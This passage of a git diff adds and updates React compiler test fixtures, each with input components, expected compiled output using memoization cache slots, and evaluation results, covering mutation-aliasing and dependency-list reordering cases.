+  if ($[2] !== a) {
+    t2 = [a];
+    $[2] = a;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t2 || $[5] !== x) {
+    t3 = <ValidateMemoization inputs={t2} output={x} />;
+    $[4] = t2;
+    $[5] = x;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":[{"a":0}]}</div>
+<div>{"inputs":[0],"output":[{"a":0}]}</div>
+<div>{"inputs":[1],"output":[{"a":1}]}</div>
+<div>{"inputs":[0],"output":[{"a":0}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.tsx
new file mode 100644
index 000000000000..32d65e61e01e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.tsx
@@ -0,0 +1,28 @@
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a]);
+  const y = typedCreateFrom(x);
+  const z = typedCapture(y);
+  // does not mutate x, so x should not depend on b
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.expect.md
new file mode 100644
index 000000000000..4222c0dfe2cb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.expect.md
@@ -0,0 +1,119 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a, b]);
+  let z: any;
+  if (b) {
+    z = x;
+  } else {
+    z = typedCapture(x);
+  }
+  // could mutate x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(11);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let x;
+  if ($[2] !== b || $[3] !== t1) {
+    x = [t1];
+    let z;
+    if (b) {
+      z = x;
+    } else {
+      z = typedCapture(x);
+    }
+
+    typedMutate(z, b);
+    $[2] = b;
+    $[3] = t1;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  let t2;
+  if ($[5] !== a || $[6] !== b) {
+    t2 = [a, b];
+    $[5] = a;
+    $[6] = b;
+    $[7] = t2;
+  } else {
+    t2 = $[7];
+  }
+  let t3;
+  if ($[8] !== t2 || $[9] !== x) {
+    t3 = <ValidateMemoization inputs={t2} output={x} />;
+    $[8] = t2;
+    $[9] = x;
+    $[10] = t3;
+  } else {
+    t3 = $[10];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":[{"a":0}]}</div>
+<div>{"inputs":[0,1],"output":[{"a":0}]}</div>
+<div>{"inputs":[1,1],"output":[{"a":1}]}</div>
+<div>{"inputs":[0,0],"output":[{"a":0}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.tsx
new file mode 100644
index 000000000000..ece6a2dc1351
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-phi-assign-or-capture.tsx
@@ -0,0 +1,33 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a, b]);
+  let z: any;
+  if (b) {
+    z = x;
+  } else {
+    z = typedCapture(x);
+  }
+  // could mutate x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.expect.md
new file mode 100644
index 000000000000..d3378b4d482b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.expect.md
@@ -0,0 +1,119 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+
+import {useMemo} from 'react';
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  // create a mutable value with input `a`
+  const x = useMemo(() => makeObject_Primitives(a), [a]);
+
+  // freeze the value
+  useIdentity(x);
+
+  // known to pass-through via aliasing signature
+  const x2 = typedIdentity(x);
+
+  // Unknown function so we assume it conditionally mutates,
+  // but x2 is frozen so this downgrades to a read.
+  // x should *not* take b as a dependency
+  identity(x2, b);
+
+  return <ValidateMemoization inputs={[a]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+
+import { useMemo } from "react";
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = makeObject_Primitives(a);
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+
+  useIdentity(x);
+
+  const x2 = typedIdentity(x);
+
+  identity(x2, b);
+  let t2;
+  if ($[2] !== a) {
+    t2 = [a];
+    $[2] = a;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t2 || $[5] !== x) {
+    t3 = <ValidateMemoization inputs={t2} output={x} />;
+    $[4] = t2;
+    $[5] = x;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 0, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[1],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[1],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[0],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[0],"output":{"a":0,"b":"value1","c":true}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.js
new file mode 100644
index 000000000000..d0f677ee4df1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-frozen-input.js
@@ -0,0 +1,40 @@
+// @enableNewMutationAliasingModel
+
+import {useMemo} from 'react';
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  // create a mutable value with input `a`
+  const x = useMemo(() => makeObject_Primitives(a), [a]);
+
+  // freeze the value
+  useIdentity(x);
+
+  // known to pass-through via aliasing signature
+  const x2 = typedIdentity(x);
+
+  // Unknown function so we assume it conditionally mutates,
+  // but x2 is frozen so this downgrades to a read.
+  // x should *not* take b as a dependency
+  identity(x2, b);
+
+  return <ValidateMemoization inputs={[a]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.expect.md
new file mode 100644
index 000000000000..17fed05d93d4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.expect.md
@@ -0,0 +1,112 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  // create a mutable value with input `a`
+  const x = makeObject_Primitives(a);
+
+  // known to pass-through via aliasing signature
+  const x2 = typedIdentity(x);
+
+  // Unknown function so we assume it conditionally mutates,
+  // and x is still mutable so
+  identity(x2, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = makeObject_Primitives(a);
+
+    const x2 = typedIdentity(x);
+
+    identity(x2, b);
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 0, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[1,0],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[1,1],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[0,1],"output":{"a":0,"b":"value1","c":true}}</div>
+<div>{"inputs":[0,0],"output":{"a":0,"b":"value1","c":true}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.js
new file mode 100644
index 000000000000..719c89d11de2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/typed-identity-function-mutable-input.js
@@ -0,0 +1,35 @@
+// @enableNewMutationAliasingModel
+
+import {
+  identity,
+  makeObject_Primitives,
+  typedIdentity,
+  useIdentity,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  // create a mutable value with input `a`
+  const x = makeObject_Primitives(a);
+
+  // known to pass-through via aliasing signature
+  const x2 = typedIdentity(x);
+
+  // Unknown function so we assume it conditionally mutates,
+  // and x is still mutable so
+  identity(x2, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.expect.md
new file mode 100644
index 000000000000..0e54471a23cd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.expect.md
@@ -0,0 +1,100 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Foo({arr1, arr2, foo}) {
+  const x = [arr1];
+
+  let y = [];
+
+  const getVal1 = useCallback(() => {
+    return {x: 2};
+  }, []);
+
+  const getVal2 = useCallback(() => {
+    return [y];
+  }, [foo ? (y = x.concat(arr2)) : y]);
+
+  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
+  sequentialRenders: [
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useCallback } from "react";
+import { Stringify } from "shared-runtime";
+
+function Foo(t0) {
+  const $ = _c(10);
+  const { arr1, arr2, foo } = t0;
+  let t1;
+  if ($[0] !== arr1) {
+    t1 = [arr1];
+    $[0] = arr1;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let getVal1;
+  let t2;
+  if ($[2] !== arr2 || $[3] !== foo || $[4] !== x) {
+    let y = [];
+    getVal1 = _temp;
+    t2 = () => [y];
+    foo ? (y = x.concat(arr2)) : y;
+    $[2] = arr2;
+    $[3] = foo;
+    $[4] = x;
+    $[5] = getVal1;
+    $[6] = t2;
+  } else {
+    getVal1 = $[5];
+    t2 = $[6];
+  }
+  const getVal2 = t2;
+  let t3;
+  if ($[7] !== getVal1 || $[8] !== getVal2) {
+    t3 = <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;
+    $[7] = getVal1;
+    $[8] = getVal2;
+    $[9] = t3;
+  } else {
+    t3 = $[9];
+  }
+  return t3;
+}
+function _temp() {
+  return { x: 2 };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],
+  sequentialRenders: [
+    { arr1: [1, 2], arr2: [3, 4], foo: true },
+    { arr1: [1, 2], arr2: [3, 4], foo: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"val1":{"kind":"Function","result":{"x":2}},"val2":{"kind":"Function","result":[[[1,2],3,4]]},"shouldInvokeFns":true}</div>
+<div>{"val1":{"kind":"Function","result":{"x":2}},"val2":{"kind":"Function","result":[[]]},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.tsx
new file mode 100644
index 000000000000..861c413386df
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-deplist-controlflow.tsx
@@ -0,0 +1,28 @@
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
+
+function Foo({arr1, arr2, foo}) {
+  const x = [arr1];
+
+  let y = [];
+
+  const getVal1 = useCallback(() => {
+    return {x: 2};
+  }, []);
+
+  const getVal2 = useCallback(() => {
+    return [y];
+  }, [foo ? (y = x.concat(arr2)) : y]);
+
+  return <Stringify val1={getVal1} val2={getVal2} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
+  sequentialRenders: [
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.expect.md
new file mode 100644
index 000000000000..4a65f8a4e291
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// We currently produce invalid output (incorrect scoping for `y` declaration)
+function useFoo(arr1, arr2) {
+  const x = [arr1];
+
+  let y;
+  const getVal = useCallback(() => {
+    return {y};
+  }, [((y = x.concat(arr2)), y)]);
+
+  return <Stringify getVal={getVal} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useCallback } from "react";
+import { Stringify } from "shared-runtime";
+
+// We currently produce invalid output (incorrect scoping for `y` declaration)
+function useFoo(arr1, arr2) {
+  const $ = _c(7);
+  let t0;
+  if ($[0] !== arr1) {
+    t0 = [arr1];
+    $[0] = arr1;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let t1;
+  if ($[2] !== arr2 || $[3] !== x) {
+    let y;
+    t1 = () => ({ y });
+    (y = x.concat(arr2)), y;
+    $[2] = arr2;
+    $[3] = x;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  const getVal = t1;
+  let t2;
+  if ($[5] !== getVal) {
+    t2 = <Stringify getVal={getVal} shouldInvokeFns={true} />;
+    $[5] = getVal;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"getVal":{"kind":"Function","result":{"y":[[1,2],3,4]}},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.tsx
new file mode 100644
index 000000000000..01a87a225998
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useCallback-reordering-depslist-assignment.tsx
@@ -0,0 +1,23 @@
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {Stringify} from 'shared-runtime';
+
+// We currently produce invalid output (incorrect scoping for `y` declaration)
+function useFoo(arr1, arr2) {
+  const x = [arr1];
+
+  let y;
+  const getVal = useCallback(() => {
+    return {y};
+  }, [((y = x.concat(arr2)), y)]);
+
+  return <Stringify getVal={getVal} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.expect.md
new file mode 100644
index 000000000000..2d3f46998661
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function useFoo(arr1, arr2) {
+  const x = [arr1];
+
+  let y;
+  return useMemo(() => {
+    return {y};
+  }, [((y = x.concat(arr2)), y)]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+
+function useFoo(arr1, arr2) {
+  const $ = _c(7);
+  let t0;
+  if ($[0] !== arr1) {
+    t0 = [arr1];
+    $[0] = arr1;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const x = t0;
+  let y;
+  if ($[2] !== arr2 || $[3] !== x) {
+    (y = x.concat(arr2)), y;
+    $[2] = arr2;
+    $[3] = x;
+    $[4] = y;
+  } else {
+    y = $[4];
+  }
+  let t1;
+  if ($[5] !== y) {
+    t1 = { y };
+    $[5] = y;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"y":[[1,2],3,4]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.ts
new file mode 100644
index 000000000000..7b9c6e54da75
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/useMemo-reordering-depslist-assignment.ts
@@ -0,0 +1,19 @@
+// @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+
+function useFoo(arr1, arr2) {
+  const x = [arr1];
+
+  let y;
+  return useMemo(() => {
+    return {y};
+  }, [((y = x.concat(arr2)), y)]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [
+    [1, 2],
+    [3, 4],
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.expect.md
index 48527287718e..f9efa4ea2348 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Component(props) {
-  const filtered = props.items.filter((item) => item != null);
+  const filtered = props.items.filter(item => item != null);
   return filtered;
 }
 
@@ -11,17 +11,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      items: [
-        { a: true },
-        null,
-        true,
-        false,
-        null,
-        "string",
-        3.14,
-        null,
-        [null],
-      ],
+      items: [{a: true}, null, true, false, null, 'string', 3.14, null, [null]],
     },
   ],
 };
@@ -33,17 +23,10 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.items) {
-    let t1;
-    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = (item) => item != null;
-      $[2] = t1;
-    } else {
-      t1 = $[2];
-    }
-    t0 = props.items.filter(t1);
+    t0 = props.items.filter(_temp);
     $[0] = props.items;
     $[1] = t0;
   } else {
@@ -52,6 +35,9 @@ function Component(props) {
   const filtered = t0;
   return filtered;
 }
+function _temp(item) {
+  return item != null;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.js
index c84ead2c0573..b15223e99d75 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/noAlias-filter-on-array-prop.js
@@ -1,5 +1,5 @@
 function Component(props) {
-  const filtered = props.items.filter((item) => item != null);
+  const filtered = props.items.filter(item => item != null);
   return filtered;
 }
 
@@ -7,17 +7,7 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [
     {
-      items: [
-        { a: true },
-        null,
-        true,
-        false,
-        null,
-        "string",
-        3.14,
-        null,
-        [null],
-      ],
+      items: [{a: true}, null, true, false, null, 'string', 3.14, null, [null]],
     },
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.expect.md
index 11b8e50c6ddb..bf8590ec3a63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.expect.md
@@ -12,7 +12,7 @@ function Component(props: ComponentProps) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Alice" }],
+  params: [{name: 'Alice'}],
 };
 
 ```
